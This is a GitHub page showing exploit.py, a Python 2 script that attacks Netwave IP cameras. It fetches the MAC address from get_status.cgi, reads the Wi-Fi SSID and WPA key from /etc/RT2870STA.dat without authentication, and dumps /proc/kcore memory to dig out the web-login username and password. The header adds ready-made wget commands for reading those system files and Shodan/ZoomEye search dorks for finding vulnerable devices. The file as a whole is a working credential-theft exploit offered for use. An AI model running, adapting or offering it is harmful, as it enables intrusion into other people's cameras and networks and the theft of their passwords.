-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathexploit.py
147 lines (121 loc) · 4.93 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
#!/usr/bin/python2.7
##
## Run the exploit against the victim to get WIFI password
## If the victim is vulnerable to memory leak it will try to extract the username and password for the weblogin
##
## magic for you bash:
## wget -qO- http://[HOST]:[PORT]//proc/kcore | strings
## wget -qO- http://[HOST]:[PORT]//etc/RT2870STA.dat
## wget -qO- http://[HOST]:[PORT]//dev/rom0
## wget -qO- http://[HOST]:[PORT]/get_status.cgi
##
## shodan dork:
## "Server: Netwave IP Camera"
##
## zoomeye dork:
## Netwave IP camera http config
##
import sys,os,time,tailer
import urllib2
import subprocess
import signal
from threading import Thread
try:
if sys.argv[1] == "-h" or sys.argv[1] == "--help":
print "Usage: python pownetwave.py [HOST]:[PORT]"
print "Example: python pownetwave.py 127.0.0.1:81"
sys.exit(0)
else:
pass
except IndexError:
print "Usage: python pownetwave.py [HOST]:[PORT]"
print "Example: python pownetwave.py 127.0.0.1:81"
sys.exit(0)
def signal_handler(signal, frame):
print('\nclearing up..')
os.system("rm -rf tmpstream.txt")
os.system("rm -rf tmpstrings.out")
os.system("killall -9 wget")
os.system("killall -9 tail")
sys.exit(0)
signal.signal(signal.SIGINT, signal_handler)
macaddr = ""
done = 0
linecount = 0
class bcolors:
HEADER = '\033[95m'
OKBLUE = '\033[94m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
FAIL = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
# f = open("ipList.txt",'r')
# for line in f.readlines():
print "getting system information.."+sys.argv[1]
response = urllib2.urlopen('http://'+sys.argv[1]+'/get_status.cgi')
xcontent = response.read().split(";\n")
for line in xcontent:
if line.startswith("var id="):
line = line.split("'")
macaddr = line[1]
else:
pass
print "victims MAC-ADDRESS: "+bcolors.OKGREEN+str(macaddr)+bcolors.ENDC
print "getting wireless information.."
try:
resp = urllib2.urlopen("http://"+sys.argv[1]+"//etc/RT2870STA.dat")
xcontent = resp.read().split("\n")
print "victims wireless information.."
for line in xcontent:
if line.startswith("WPAPSK") or line.startswith("SSID"):
print "\t\t"+bcolors.OKGREEN+str(line)+bcolors.ENDC
else:
print "\t\t"+str(line)
except:
print "wireless lan is disabled.."
print "checking for memory dump vulnerability.."
try:
urllib2.urlopen('http://'+sys.argv[1]+'//proc/kcore')
except:
print bcolors.FAIL+"victim isnt vulnerable for a memory leak, exiting.."+bcolors.ENDC
sys.exit(0)
print "starting to read memory dump.. "+bcolors.WARNING+"this could take a few minutes"+bcolors.ENDC
proc = subprocess.Popen("wget -qO- http://"+sys.argv[1]+"//proc/kcore > tmpstream.txt", shell=True, preexec_fn=os.setsid)
os.system('echo "" >tmpstrings.out')
time.sleep(1)
proc2 = subprocess.Popen("tail -f tmpstream.txt | strings >>tmpstrings.out", shell=True, preexec_fn=os.setsid)
print bcolors.BOLD+"hit CTRL+C to exit.."+bcolors.ENDC
while 1:
sys.stdout.flush()
if os.stat('tmpstrings.out').st_size <= 1024:
sys.stdout.write("binary data: "+str(os.stat('tmpstream.txt').st_size)+"\r")
else:
sys.stdout.flush()
print "strings in binary data found.. password should be around line 10000"
for line in tailer.follow(open('tmpstrings.out','r')):
sys.stdout.flush()
if done == 0:
linecount+= 1
if line == macaddr:
sys.stdout.flush()
done = 1
print bcolors.OKGREEN+"\n\nmac address triggered.. printing the following dumps, could leak username and passwords.."+bcolors.ENDC
else:
sys.stdout.write(str(linecount)+"\r")
elif done == 1:
done = 2
print "\nfirstline.. "+bcolors.OKGREEN+line+bcolors.ENDC
elif done == 2:
done = 3
print "possible username: "+bcolors.OKGREEN+line+bcolors.ENDC
elif done == 3:
done = 4
print "possible password: "+bcolors.OKGREEN+line+bcolors.ENDC
elif done == 4:
done = 0
print "following line.. \n\n"+bcolors.OKGREEN+line+bcolors.ENDC
else:
pass
signal.pause()